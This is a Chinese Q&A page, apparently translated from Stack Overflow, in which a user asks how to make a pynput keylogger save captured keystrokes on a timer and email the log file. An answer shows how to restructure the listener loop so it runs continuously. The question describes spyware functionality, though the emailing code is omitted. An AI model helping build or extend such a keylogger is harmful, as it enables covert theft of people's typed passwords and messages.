[英]How to run pynput.Listener simultaneously with tkinter.Tk().mainloop()
[英]How to callback from pynput.listener at regular intervals?
我正在编写一个键盘记录程序,并且需要在不停止侦听器的情况下对其进行备份的帮助。
我正在用python编写键盘记录程序,它会写入.txt文件,然后通过电子邮件发送。 我需要定期将击键的临时列表写入文件中,作为备份。 但是,我似乎只能在on_press或on_release回调中执行此操作,这意味着在通过电子邮件发送文件时,我无法拾取其他击键,因此我想根据经过的时间(而不是按下键)进行备份。
def on_press(key):
global keystrokes
keystrokes.append(key)
if len(keystrokes)==100:
write_send(keystrokes) #This is the function that does all my file
writing and emailing, not included.
def on_release(key):
#On_release script here, not included
while True:
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
代替
while True:
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
你可以做
with Listener(on_press=on_press,on_release=on_release) as listener:
while True:
# ... check time and write in file ...
# listener.stop()
listener.join()
或者您可以在Listener
使用功能start()
(和stop()
)并将其编写为:
listener = Listener(on_press=on_press,on_release=on_release)
listener.start()
while True:
# ... check time and write in file ...
listener.stop()
listener.join()
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.